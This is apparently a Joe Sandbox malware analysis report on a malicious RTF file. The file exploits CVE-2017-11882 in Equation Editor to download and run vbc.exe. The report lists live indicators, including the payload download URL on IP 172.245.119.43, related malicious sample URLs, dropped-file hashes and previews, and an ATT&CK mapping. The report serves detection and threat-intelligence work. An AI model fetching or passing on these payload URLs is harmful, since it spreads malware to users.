Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2684

Thread sleep time: -360000s >= -30000s

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_036F533D rdtsc

4_2_036F533D

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	4_2_00405C49
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00406873 FindFirstFileW,FindClose,	4_2_00406873
Source: C:\Users\Public\vbc.exe	Code function: 4_2_0040290B FindFirstFileW,	4_2_0040290B

Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node			graph_4-7292
Source: C:\Users\Public\vbc.exe	API call chain: ExitProcess graph end node			graph_4-7448

Source: vbc.exe, 00000004.00000002.680238431.00000000008D4000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Users\Public\vbc.exe

Code function: 4_2_73281BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

4_2_73281BFF

Source: C:\Users\Public\vbc.exe

Code function: 4_2_036F533D rdtsc

4_2_036F533D

Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F773F mov eax, dword ptr fs:[00000030h]	4_2_036F773F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F6BA6 mov eax, dword ptr fs:[00000030h]	4_2_036F6BA6
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F522F mov eax, dword ptr fs:[00000030h]	4_2_036F522F
Source: C:\Users\Public\vbc.exe	Code function: 4_2_036F6EAF mov eax, dword ptr fs:[00000030h]	4_2_036F6EAF

Source: C:\Users\Public\vbc.exe

Code function: 4_2_036F8354 RtlAddVectoredExceptionHandler,

4_2_036F8354

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\Public\vbc.exe "C:\Users\Public\vbc.exe"

Jump to behavior

Source: C:\Users\Public\vbc.exe

4_2_0040352D

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	1 Access Token Manipulation	111 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	12 Exploitation for Client Execution	Boot or Logon Initialization Scripts	11 Process Injection	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	12 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Access Token Manipulation	Security Account Manager	1 Remote System Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	2 File and Directory Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	121 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	4 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
A3hamzfUkW.rtf	50%	Virustotal		Browse
A3hamzfUkW.rtf	40%	ReversingLabs	Document-RTF.Exploit.CVE-2017-11882
A3hamzfUkW.rtf	100%	Avira	HEUR/Rtf.Malformed

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://konutmarket.com/2022file_kLVMf	0%	Avira URL Cloud	safe
http://172.245.119.43/2200/vbc.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://konutmarket.com/2022file_kLVMf	true	Avira URL Cloud: safe	unknown
http://172.245.119.43/2200/vbc.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nsis.sf.net/NSIS_ErrorError	vbc.exe, 00000004.00000000.415058123.000000000040A000.00000008.00000001.01000000.00000003.sdmp, vbc.exe, 00000004.00000002.680179731.000000000040A000.00000004.00000001.01000000.00000003.sdmp, vbc.exe.2.dr, vbc[1].exe.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.245.119.43	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	561311
Start date:	27.01.2022
Start time:	10:44:50
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	A3hamzfUkW (renamed file extension from none to rtf)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.winRTF@4/12@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 40.9% (good quality ratio 40.2%) Quality average: 86.8% Quality standard deviation: 21.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 38 Number of non-executed functions: 57
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, svchost.exe
Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:45:20	API Interceptor	50x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.245.119.43	VC_DRAFT PI_1110106.docx	Get hash	malicious	Browse	172.245.119.43/4411/vbc.exe
	PO20210819.xlsx	Get hash	malicious	Browse	172.245.119.43/d/skin.exe
	PO20210817.xlsx	Get hash	malicious	Browse	a.ninis.us/d/hot.exe
	PO20210723.xlsx	Get hash	malicious	Browse	172.245.119.43/d/pdf.exe
	PO20210722.xlsx	Get hash	malicious	Browse	172.245.119.43/d/obi.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	i.arm7	Get hash	malicious	Browse	23.94.138.109
	i.i586	Get hash	malicious	Browse	23.94.138.109
	i.i686	Get hash	malicious	Browse	23.94.138.109
	i.m68k	Get hash	malicious	Browse	23.94.138.109
	i.mips	Get hash	malicious	Browse	23.94.138.109
	i.mpsl	Get hash	malicious	Browse	23.94.138.109
	i.ppc	Get hash	malicious	Browse	23.94.138.109
	i.sh4	Get hash	malicious	Browse	23.94.138.109
	i.sparc	Get hash	malicious	Browse	23.94.138.109
	i.x86	Get hash	malicious	Browse	23.94.138.109
	Deeds Office Document Copy.xlsx	Get hash	malicious	Browse	192.3.146.154
	SLT10035299.xlsx	Get hash	malicious	Browse	192.3.180.39
	RFQ11054.xlsx	Get hash	malicious	Browse	107.174.138.158
	ACCOUNTS STATEMENT.xlsx	Get hash	malicious	Browse	192.210.219.13
	PSRSG-BPL-221221-1 JOB G225.xlsx	Get hash	malicious	Browse	198.12.127.206
	Order 252022.xlsx	Get hash	malicious	Browse	172.245.27.21
	lod2.xlsx	Get hash	malicious	Browse	198.12.107.201
	VC_DRAFT PI_1110106.docx	Get hash	malicious	Browse	172.245.119.43
	Korpze1233121337.m68k	Get hash	malicious	Browse	198.23.214.117
	x86_64	Get hash	malicious	Browse	198.23.214.117

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll	7027521.xlsx	Get hash	malicious	Browse
	SdEkI4IDqd.exe	Get hash	malicious	Browse
	SdEkI4IDqd.exe	Get hash	malicious	Browse
	cP5nXH8fQI.exe	Get hash	malicious	Browse
	cP5nXH8fQI.exe	Get hash	malicious	Browse
	BL Copy.doc	Get hash	malicious	Browse
	jqkuxbwi.exe	Get hash	malicious	Browse
	HealthSystray.exe	Get hash	malicious	Browse
	jqkuxbwi.exe	Get hash	malicious	Browse
	listing new.xlsx	Get hash	malicious	Browse
	Pnportd65.exe	Get hash	malicious	Browse
	Pnportd65.exe	Get hash	malicious	Browse
	PO-C - 20211213-PLATE.doc	Get hash	malicious	Browse
	new.xlsx	Get hash	malicious	Browse
	8#Ub2e4).exe	Get hash	malicious	Browse
	eW8Jsngljx.exe	Get hash	malicious	Browse
	o4XzTr73Ut.exe	Get hash	malicious	Browse
	uDZovIdfEJ.exe	Get hash	malicious	Browse
	q6JYc6gWld.exe	Get hash	malicious	Browse
	fw8ex1BNek.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	96040
Entropy (8bit):	7.527902229290847
Encrypted:	false
SSDEEP:	1536:4/T2X/jN2vxZz0DTHUpouZZbJKDvTIz0u6zPEi+ctYyNv7F3oH8k29xE+1FC56:4bG7N2kDTHUpouZZbJKDM96wi+ctYU7N
MD5:	6EA8ECF670ED24734A3BE72B69BC5FD9
SHA1:	BCEAEF2755D79AB3DACBBF98B42D28BD307DC177
SHA-256:	7667E9078741E3AD3B07F45A2311B4C03A283CF4A060DB8341B91999FD0E8709
SHA-512:	332A74A4491436FBDD502FB8AB64F7D75CFDF9232F749E5C4C243A62A4B3B4BE99EE0B57F6326B3D242719001ADA64B4F43C563C89822381E9FC0EE21294ADEE
Malicious:	true
Reputation:	low
IE Cache URL:	http://172.245.119.43/2200/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L...Z.Oa.................j..........-5............@.................................e.....@.............................................(............b...............................................................................................text....h.......j.................. ..`.rdata...............n..............@..@.data...............................@....ndata...`...`...........................rsrc...(...........................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.066278203683498
Encrypted:	false
SSDEEP:	48:rELQ6e/2po95pDCJtts+dUbZdfIpATAa8yW:ILRV2LYjtd2ZfkFL
MD5:	F53BF51BC166A2BE48E410E737EEB789
SHA1:	53714E90CEDDFD2C2E42FAEB98B2AB71CBAC893D
SHA-256:	F998A79280162E0D26BBB2DB9D8B527B7794F08DA2DC99FBF4A955A198EAC916
SHA-512:	5D8EC077025DB25492094FD1080E43617E9828C8113E01B75CD0124E6FAA146BB5653F64F51086F901DAFBCA7B298C869271FFEECDBD9F08D0FB7D55AEBFDC13
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BEE8909C-B6FC-409C-B03D-EA20BDD76A56}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.6284810145045947
Encrypted:	false
SSDEEP:	384:1uw7E+fxXThZ6QOauIryBDLZ2aGWGaEk79NmIZ:ka/xNZ/zWDLOk79NmIZ
MD5:	402EB8EC2BF553CE8D78EB64E575514B
SHA1:	C48E6ED0D06553CA61F8691DB4C43E16BF19830A
SHA-256:	E2F27A4961944E019A22A769FED41A8FD59FBAD93E4102925BAB03BAA5D66933
SHA-512:	7D39D995CE45FEA673A4886EB654B493403C9D95E049CE0581C7EBF8EFC9F4721CB9D5B93AC60C15B4869129DA803C56A6C351E30D2886BBA4139275C4388C2D
Malicious:	false
Reputation:	low
Preview:	..5.$.)...8.@.@.+.?.-.+...&...&.:.5.-.8.\|.?.,.4.:.&.2.%.2...6.!.<.5.....&.#.:.6..'.8.[.%._.7.?..6.-.^.,.1.?.@.7.?...7.;.-.?...\|.-.2.?.%.>...(...$._.=.-.7.).(.\|.:.?.?.,.5.1.=.=.0.&.?.5.9.....=.4.<...$.,.$.[.$.?...8.?.9.?.<.~.%.\|...7.~...>.=.?.`.0.4.5.$...?.7.>.9.=.~.(.%.2.>.&..=.7.@.3.?.+.#./.(...(.<.].=.-.;../.;.%._.?.\|.$.<.0.1./...\|.,.?.?.'.0.].?.<./.,...../...[..>.'.%..).).1.?...<.[.?.6.5.8.+.#.-.?.\|.+.2./.\|.<...\|.~.&.7.?.-.?.].$.0.....%.>..<.,...-.7.~.4.;.~.^.^.0.:.:.?...?.2.?.8.^.[.3.6._.$.5.:.?.,...2.3.<.$.?..,.0.?.?.?.^.7.^.:.._...'.?.-._.8.`.?...^.]...;.).#.4.?.?.%.%...9.&./.=._._.?.7.#.%.(.4./.!.].(.<.8.~...+.....#.7...`.&.?.#.?.^.9.%./.?.%.0.!.^.[.,.#.4.).5.^.@.[.=.:........&.:.4.`.!.:.5.(.#.5..._.:..'.:.4.;.@...9../.1.2.,.8.!.4.%.?.&.+.+.+.>...8._.5.#....>.?.4.5.[.~.\|.$.%.)..@.?.&.;.(.-.4.3.'.~.>.,.?.?.9.?.6.6./.?...2.3...~.?._.2.>.@.]...~...8.?.?.>.9.?.#./.-.+.\|...../.;.9.9.^.1.'.~.%.].0.#.?...<.^.?.#.?.6.+.2.:.).?.9.~.-.$.#.3.(.<.5.(.?.4.%.?.`...5.4.(.?._.'.?.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{EA13411A-D846-4185-AA36-2A58C910FC07}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KODAKKING.dat

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	34332
Entropy (8bit):	7.58708219573477
Encrypted:	false
SSDEEP:	768:lUSXzLIauAkx7VouC8IinI5ZPop67ksKbw+iByyjjPD5:lUSXzcaQZVo5aUpIsKbw+3yjjPD5
MD5:	7B1F6C4EB1BA4B466940FBFF9D53CF46
SHA1:	CE9F0A0965B2B8442D1EBC7F760913E553C7A330
SHA-256:	BBBAF7A0D740E9B921663D4DDB953CE0C1854C9327EE42F5F8D5A5EFCD8166BE
SHA-512:	C5392F06AC5C0104BA32FA4C417378E1E6032E15461D691380F7AD4823DE0AD59114EC5CD70369262451DD38AB55F92E91296292E4EA95ED1C0BF47C644B49FE
Malicious:	false
Reputation:	low
Preview:	.Z_.?.u.....u.....u..........u....}.O=5p.j:5.._5i..{5...5 ...P..u...Z1..4.........9.u.W......M....v...{.;{}>.......@..k......6..L..4.....4l..q..Q...&`....S...Jc\|.h_j.....UND..(.:^.4..g%+Q;ug..T..F..W....PK.Xh..y.....NXJ.8.~."1..{.....o.._...p&0......Xr.t.X..r. .<sfd..;...).<..kUkG.B.....2........./.2+.Q..a>.....d....e...c...[..8.l........#%...[.B...l.....sn7h..`R[..lS .......vt..l.?uO..._....L.%.v~..-...c.......... n...... .h..!%..\.l.!4..H...!'.Q..] .h..%.F{..-.....U[S\.u-..G.h.<c.T5s... l.hv....9M..+]..%../U..)u.L........0fT.....i.Lb....h..........X....bNf.........l...L.m...=..)\|{..=.......=.m:!...=....~l.9d.7....%m.b..G-....(.P.Yy(......."..r%.d...!\|l.2_r.'...<.b.l.N.J\|.P......$w.P..O..../....p...l-...`_..........<....l5.V.\|.pY~.Rd.Y..............W..{......?..FJ/.....!\|q.<Wnw.d.T....Z.nH...h..$...h..<....!e..^......<..Rll....5p..Q.!iJ:.qQ.b.hhdxm.#8..5%..$....<..1.!d.J..@.l-...0B..;.e...G.gQ.../".....P.5&he...J.y.$.A.prEN.l-..%7..

C:\Users\user\AppData\Local\Temp\gamer.txt

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	16555
Entropy (8bit):	5.9518641421213605
Encrypted:	false
SSDEEP:	384:HpBOk6soHG6Nun3UPBApXPE8eMag91API7ee872UmLZ7:HmkfOG6NNyp/dn19N7U71mLZ
MD5:	695A2030432B3D981B012A42EDCA055A
SHA1:	31283CF8F970E22E7C9B6FCB811B9C1608997211
SHA-256:	F0568B8400FE6F4621B3E62C56B3C3AB9712DD6D30966A348EB3497ACF6B226A
SHA-512:	0095FE21135FCCB9C5723D583C2087FB9D9CD61CB90BB5C96E11EA76469A3744B7F068B7301F7342AF95642D18921763B250FBB9E8F16F5CC9124300E6A97C5C
Malicious:	false
Reputation:	low
Preview:	EMr8t0Hhq715RQjpV8l9LooUdWJgMtMf2pE83U2wsss81G5KJFLeIXMa1T93HGjNEbFfy4IRaWjctEH1I3hWG74wsJYdZXNmLTqTenvgec8qpu98Zp4XlrrAhbuVePBg5nxMeoxIojglOuJAvAZef0Nak7gm0ix8xSE70QeFJMFjJvEAWRFFFtZOYkcHhCgewp7YBE8OekOsOrcexafRG4AdZaWBz3yCE4qMP0NAcxJ4DHeCdzbc6hW8i8otpHEpw0OGDSzOwMl9VCfHuXXhaw0zVcWRcWKg1sABn5d7OrJ2xhlYvPjqrY5w7z8FN0FgE8XtOgiSbRGN0toQLHc2vjrb52VFWESFWMUHsKSZfQ4PbqkilIzeyLOvDdo44fuucajegzqku9brw7f8p9R2zFXqooBphSkPzHY6XmnyhU3WyDWzX4CroF6xRQXhjjk7OqKFaLu4ORq54CnRXdGfPhd7dzPgYFxqUkZaqo2ckBxUeh3QLr4p1ievUUewtab3AdAT2kjQDq4NVPoAQ5jJvQkApXm49qXhPrvrU2YzKVhY5ajHSj55DsIeOSI066y24ayag5YtldIsnpkasB3iqzZiXwJJSOwZVHVJGChfSumllKT835iwi6k9utWFP5wIpTCqM6CflHh1JSg5HTMqV8fq5VseXa9XzYpdeJu9OBtsanwwES7WtQoLDnmScaoIfCjrIqw61PPDM8QEGM14KrtcVF5ERKQSh6jPyKwNObsN9Ts4FbeSzqr0KnDMekc8p8tRrSRckLbRBa58jfVkjWjcQeuGU8J8gr9f2EG5bdrGEds4pfOwG1TGJcUCr6T8jH9Q82m4wdSeL3wJDr5HYJN0ESkrvn77s4vH90F55tPEmd6ZjNInCzW2BOZfhfO10qNfHa7ZhuyiWVIf05P6uzThDVcRpFtIjVTvGctBTjxS6LEiUlof2CsVigpyEGuXekSTdPsflqGf5sMzKcxKlDJc6mtYp7gIqQODeycT

C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.814115788739565
Encrypted:	false
SSDEEP:	192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
MD5:	CFF85C549D536F651D4FB8387F1976F2
SHA1:	D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
SHA-256:	8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
SHA-512:	531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 7027521.xlsx, Detection: malicious, Browse Filename: SdEkI4IDqd.exe, Detection: malicious, Browse Filename: SdEkI4IDqd.exe, Detection: malicious, Browse Filename: cP5nXH8fQI.exe, Detection: malicious, Browse Filename: cP5nXH8fQI.exe, Detection: malicious, Browse Filename: BL Copy.doc, Detection: malicious, Browse Filename: jqkuxbwi.exe, Detection: malicious, Browse Filename: HealthSystray.exe, Detection: malicious, Browse Filename: jqkuxbwi.exe, Detection: malicious, Browse Filename: listing new.xlsx, Detection: malicious, Browse Filename: Pnportd65.exe, Detection: malicious, Browse Filename: Pnportd65.exe, Detection: malicious, Browse Filename: PO-C - 20211213-PLATE.doc, Detection: malicious, Browse Filename: new.xlsx, Detection: malicious, Browse Filename: 8#Ub2e4).exe, Detection: malicious, Browse Filename: eW8Jsngljx.exe, Detection: malicious, Browse Filename: o4XzTr73Ut.exe, Detection: malicious, Browse Filename: uDZovIdfEJ.exe, Detection: malicious, Browse Filename: q6JYc6gWld.exe, Detection: malicious, Browse Filename: fw8ex1BNek.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....Oa...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\A3hamzfUkW.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jan 27 17:45:12 2022, mtime=Thu Jan 27 17:45:12 2022, atime=Thu Jan 27 17:45:18 2022, length=23753, window=hide
Category:	dropped
Size (bytes):	1014
Entropy (8bit):	4.552717489114195
Encrypted:	false
SSDEEP:	24:8qhLh/XTTc2J7iWMne118HYDv3qtQd7Qy:8a9/XTA2KvHHtUj
MD5:	F906D9B5F2E2642EF133CC86D6229B3A
SHA1:	6E4E1354A82BA9E6F1D101C79B9E881D7F9A98A5
